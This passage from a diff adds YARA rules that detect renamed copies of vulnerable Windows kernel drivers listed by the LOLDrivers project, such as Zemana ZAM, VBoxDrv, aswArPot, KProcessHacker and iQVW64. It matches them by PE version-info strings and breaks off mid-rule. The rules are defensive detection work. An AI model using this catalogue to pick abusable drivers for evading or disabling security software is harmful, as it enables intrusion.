+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "de8f8006d8ee429b5f333503defa54b25447f4ed6aeade5e4219e23f3473ef1c"
+		date = "2023-06-14"
+		score = 70
+		id = "529c87c6-e363-57ca-894e-84af66030798"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d } /* FileDescription ZAM */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e } /* CompanyName ZemanaLtd */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00320030002e003100300034 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d } /* ProductName ZAM */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright ZemanaLtdAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /zam64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Supermicrocomputerinc_Phymem_Phymem_1963 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - phymem64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "1963d5a0e512b72353953aadbe694f73a9a576f0241a988378fa40bf574eda52"
+		date = "2023-06-14"
+		score = 70
+		id = "9607a849-b445-5b65-8aec-34c637c49101"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]007000680079006d0065006d0020004100700070006c00690063006100740069006f006e } /* FileDescription phymemApplication */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300750070006500720020004d006900630072006f00200043006f006d00700075007400650072002c00200049006e0063002e } /* CompanyName SuperMicroComputerInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007000680079006d0065006d } /* InternalName phymem */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]007000680079006d0065006d } /* ProductName phymem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007000680079006d0065006d002e007300790073 } /* OriginalFilename phymemsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280063002900200031003900390033002d00320030003100350020005300750070006500720020004d006900630072006f00200043006f006d00700075007400650072002c00200049006e0063002e } /* LegalCopyright CopyrightcSuperMicroComputerInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /phymem64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_16A2 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "16a2e578bc8683f17a175480fea4f53c838cfae965f1d4caa47eaf9e0b3415c1"
+		hash = "98a123b314cba2de65f899cdbfa386532f178333389e0f0fbd544aff85be02eb"
+		date = "2023-06-14"
+		score = 70
+		id = "4f275c35-b939-507c-8c6b-2851cc48cd35"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* FileDescription ProcessExplorer */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d } /* CompanyName Sysinternalswwwsysinternalscom */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310036002e00340032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310036002e00340032 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 } /* InternalName procexpsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* ProductName ProcessExplorer */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 } /* OriginalFilename procexpSys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000320031 } /* LegalCopyright CopyrightCMarkRussinovich */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /procexp/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Vektortsecurityservice_Vboxdrv_Antidetectpublic_CFB7 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxDrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "cfb7af8ac67a379e7869289aeee21837c448ea6f8ab6c93988e7aa423653bd40"
+		date = "2023-06-14"
+		score = 70
+		id = "e8b4df5f-9449-5943-ad88-479215dbca33"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 } /* FileDescription VirtualBoxSupportDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00560065006b0074006f0072002000540031003300200053006500630075007200690074007900200053006500720076006900630065 } /* CompanyName VektorTSecurityService */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0034002e0030002e003100310039003200330030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0034002e0030002e003100310039003200330030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076 } /* InternalName VBoxDrv */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041006e00740069006400650074006500630074002000320030003100390020005000750062006c00690063 } /* ProductName AntidetectPublic */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 } /* OriginalFilename VBoxDrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039002d00320030003100390020004f007200610063006c006500200043006f00720070006f0072006100740069006f006e } /* LegalCopyright CopyrightCOracleCorporation */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them and not filename matches /VBoxDrv/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Sunmicrosystemsinc_Vboxdrvsys_Sunvirtualbox_R_C894 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxDrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "c8940e2e9b069ec94f9f711150b313b437f8429f78d522810601b6ee8b52bada"
+		date = "2023-06-14"
+		score = 70
+		id = "398bc71f-c1a6-57bb-81df-6e378a64e39a"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 } /* FileDescription VirtualBoxSupportDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e } /* CompanyName SunMicrosystemsInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0032002e0034002e007200340037003900370038 } /* FileVersion r */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0032002e0034002e007200340037003900370038 } /* ProductVersion r */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 } /* InternalName VBoxDrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530075006e0020005600690072007400750061006c0042006f0078 } /* ProductName SunVirtualBox */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 } /* OriginalFilename VBoxDrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039002000530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e } /* LegalCopyright CopyrightCSunMicrosystemsInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /VBoxDrv/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Pinduoduoltdcorp_Vboxdrv_Pinduoduosecurevdi_9DAB {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxDrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "9dab4b6fddc8e1ec0a186aa8382b184a5d52cfcabaaf04ff9e3767021eb09cf4"
+		date = "2023-06-14"
+		score = 70
+		id = "70296e41-c455-5353-a682-272346ecc4c8"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 } /* FileDescription VirtualBoxSupportDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500069006e00640075006f00640075006f0020004c0074006400200043006f00720070 } /* CompanyName PinduoduoLtdCorp */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e003100330037003900300034 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e003100330037003900300034 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076 } /* InternalName VBoxDrv */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500069006e00640075006f00640075006f00200053006500630075007200650020005600440049 } /* ProductName PinduoduoSecureVDI */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 } /* OriginalFilename VBoxDrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310035002d0032003000320031002000500069006e00640075006f00640075006f00200043006f00720070006f0072006100740069006f006e } /* LegalCopyright CopyrightCPinduoduoCorporation */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them and not filename matches /VBoxDrv/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_18DE {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "18deed37f60b6aa8634dda2565a0485452487d7bce88afb49301a7352db4e506"
+		date = "2023-06-14"
+		score = 70
+		id = "bf7ca47b-217f-50a3-a634-d34a788c0e6d"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* FileDescription VirITAgentSystem */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e } /* CompanyName TGSoftSas */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 } /* InternalName viragtsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* ProductName VirITAgentSystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00760069007200610067007400360034002e007300790073 } /* OriginalFilename viragtsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000310031002c002000320030003100320020002d0020007700770077002e007400670073006f00660074002e00690074 } /* LegalCopyright CopyrightCTGSoftSaswwwtgsoftit */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /viragt64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_8CFD {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "8cfd5b2102fbc77018c7fe6019ec15f07da497f6d73c32a31f4ba07e67ec85d9"
+		date = "2023-06-14"
+		score = 70
+		id = "2ef0b4a6-b99a-5726-b485-08ad34af82c2"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription AVGantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0037002e0034003200340036002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0037002e0034003200340036002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310039002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_D5C4 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "d5c4ff35eaa74ccdb80c7197d3d113c9cd38561070f2aa69c0affe8ed84a77c9"
+		date = "2023-06-14"
+		score = 70
+		id = "ee625dbd-bb74-5c20-bfd9-05a50b0ab728"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription Avastantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0036002e0033003900370039002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0036002e0033003900370039002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Wj_Kprocesshacker_7021 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - kprocesshacker.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "70211a3f90376bbc61f49c22a63075d1d4ddd53f0aefa976216c46e6ba39a9f4"
+		date = "2023-06-14"
+		score = 70
+		id = "d913ce75-2d9f-58e5-8cf9-c58062b16116"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004b00500072006f0063006500730073004800610063006b00650072 } /* FileDescription KProcessHacker */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0077006a00330032 } /* CompanyName wj */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0030 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004b00500072006f0063006500730073004800610063006b00650072 } /* ProductName KProcessHacker */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006b00700072006f0063006500730073006800610063006b00650072002e007300790073 } /* OriginalFilename kprocesshackersys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]004c006900630065006e00730065006400200075006e006400650072002000740068006500200047004e0055002000470050004c002c002000760033002e } /* LegalCopyright LicensedundertheGNUGPLv */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /kprocesshacker/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_76E8 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "76e807b6c0214e66455f09a8de8faad40b738982ca84470f0043de0290449524"
+		date = "2023-06-14"
+		score = 70
+		id = "dbfbd9f6-bb1e-5d55-bf0c-0c33f1947de0"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00320030002e0030002e0031003000300038 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00320030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100330020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Biostargroup_Iodriver_Biostariodriver_1D03 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - BS_HWMIO64_W10.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "1d0397c263d51e9fc95bcc8baf98d1a853e1c0401cd0e27c7bf5da3fba1c93a8"
+		date = "2023-06-14"
+		score = 70
+		id = "f149cf06-3087-5976-9b85-3779caa99ab5"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049002f004f00200049006e00740065007200660061006300650020006400720069007600650072002000660069006c0065 } /* FileDescription IOInterfacedriverfile */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00420049004f0053005400410052002000470072006f00750070 } /* CompanyName BIOSTARGroup */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002c00200030002c00200031003800300036002c00200032003200300030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002c00200030002c00200031003800300036002c00200032003200300030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0049002f004f0020006400720069007600650072 } /* InternalName IOdriver */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00420049004f005300540041005200200049002f004f0020006400720069007600650072 } /* ProductName BIOSTARIOdriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00420053005f00480057004d0049004f00360034005f005700310030002e007300790073 } /* OriginalFilename BSHWMIOWsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000310038002d0032003000310039002000420049004f0053005400410052002000470072006f00750070 } /* LegalCopyright CopyrightcBIOSTARGroup */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /BS_HWMIO64_W10/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_E2E7 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "e2e79f1e696f27fa70d72f97e448081b1fa14d59cbb89bb4a40428534dd5c6f6"
+		date = "2023-06-14"
+		score = 70
+		id = "d31d0885-997d-54ac-8dc0-dc4703b0a105"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription AVGantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0034002e0034003200310031002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0034002e0034003200310031002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310039002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_5F69 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "5f69d6b167a1eeca3f6ac64785c3c01976ee7303171faf998d65852056988683"
+		date = "2023-06-14"
+		score = 70
+		id = "fa919157-ac17-529a-ac52-77794cfaae58"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 } /* FileDescription IntelRNetworkAdapterDiagnosticDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 } /* CompanyName IntelCorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0032002e00370020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0032002e0037 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* InternalName iQVWSYS */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 } /* ProductName IntelRiQVWSYS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* OriginalFilename iQVWSYS */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003600200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CopyrightCIntelCorporationAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /iQVW64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Elaboratebytesag_Elbycdio_Cdrtools_9679 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "9679758455c69877fce866267d60c39d108b495dca183954e4af869902965b3d"
+		date = "2023-06-14"
+		score = 70
+		id = "604edf79-865e-5d1e-bc2d-b2948d4ba5c1"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f00770073002000780036003400200049002f004f0020006400720069007600650072 } /* FileDescription ElbyCDWindowsxIOdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* CompanyName ElaborateBytesAG */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200031002c00200031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f } /* InternalName ElbyCDIO */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 } /* ProductName CDRTools */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 } /* OriginalFilename ElbyCDIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003800200045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* LegalCopyright CopyrightCElaborateBytesAG */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /ElbyCDIO/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Elaboratebytesag_Elbycdio_Cdrtools_8137 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "8137ce22d0d0fc5ea5b174d6ad3506a4949506477b1325da2ccb76511f4c4f60"
+		date = "2023-06-14"
+		score = 70
+		id = "96c759e8-6824-5845-82fc-512810a6cc8f"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 } /* FileDescription ElbyCDWindowsNTXPIOdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* CompanyName ElaborateBytesAG */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200031002c00200030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f } /* InternalName ElbyCDIO */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 } /* ProductName CDRTools */
